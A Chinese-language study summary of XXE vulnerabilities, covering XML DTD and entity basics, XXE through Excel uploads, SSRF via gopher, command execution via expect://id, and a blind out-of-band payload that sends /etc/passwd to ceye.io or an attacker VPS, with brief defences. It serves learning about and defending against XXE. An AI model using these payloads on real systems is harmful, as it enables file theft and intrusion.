简介

1
接着复习的机会,总结一些xxe漏洞相关知识

xml基础

DTD(文档定义类型),可以在XML文档内声明,也可以外部引用。

内部声明:<!DOCTYPE 根元素 [元素声明]> => <!DOCTYOE test any>

外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM “文件名”> <!DOCTYPE test SYSTEM ‘http://www.test.com/evil.dtd'>

SYSTEM标识意味着该实体将从外部来源获取内容。

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

实体又分为一般实体和参数实体

1,一般实体的声明语法:<!ENTITY 实体名 “实体内容”>引用实体的方式:&实体名;

2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 “实体内容”>引用实体的方式:%实体名;

参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
1. 内部实体声明:<!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>

<test>&writer;&copyright;</test>

2. 外部实体声明:<!ENTITY 实体名称 SYSTEM/PUBLIC "URI">

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

(PUBLIC用法:<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY s1ye PUBLIC "	" "file:///e://xxe.txt">
]>
<root>
<name>&s1ye;</name>
</root>

3. 参数实体(只有在 DTD 文件中,参数实体的声明才能引用其他实体)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % s1ye "<!ENTITY text SYSTEM 'file:///e://xxe_test.txt'>">
%s1ye;
]>
<root>
<name>&text;</name>
</root>

CDATA 指的是不应由 XML 解析器进行解析的文本数据

1
2
3
4
在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是非法的。
某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束

XXE原理

XXE(xml外部实体注入),在解析xml文件时允许加载外部实体,没有过滤用户提交参数。

excel

excel本质是一个包含XML、图片文件的压缩文件夹。

1
因此可以利用excel进行xxe攻击,例如找一个excel的上传点,若前端不能预览,则可以通过ceye平台盲打。

利用xxe进行ssrf攻击

可以里用gopher:// http://等协议进行ssrf攻击。(不同的程序支持的协议不同)

tips: 读取源代码最好用php://filter伪协议通过base64编码,避免遇到特殊字符无法读取。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8">
<!DOCTYPE root [
    <!ENTITY s1ye SYSTEM "gopher://0.0.0.0:6379/_hello">
]>
<root>
&s1ye;
</root>

执行命令

在安装了expect扩展的php环境里执行系统命令

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

blind xxe

无回显xxe

值得注意的是 “&#37;“这个位置。另外最好用php伪协议通过base64编码读取,因为文件中的特殊字符,比如换行,大于号等,都会影响所能读取的内容。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
利用ceye平台进行外带攻击,也可以打到自己的vps上
在自己vps创建内容如下的blind.xml文件:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'http://ceye.io/?f=%file;'>">

post内容:
<!DOCTYPE ANY[
  <!ENTITY % remote SYSTEM "http://vps/blind.xml">
  %remote;
  %payload;
  %send;
]>

利用linux本地dtd文件,利用报错的方式利用blind xxe使其回显。

Automating local DTD discovery for XXE exploitation

1
直接看ogeek的这道题吧。

防御

1
2
3
4
1. 禁用外部实体
2. 过滤用户输入(SYSTEM/PUBLIC)

*php版本大于5.4.45的默认不解析外部实体(实际与libxml库有关,libxml2.9以前的版本默认支持并开启了外部实体的引用)

摘自

一篇文章带你深入理解漏洞之 XXE 漏洞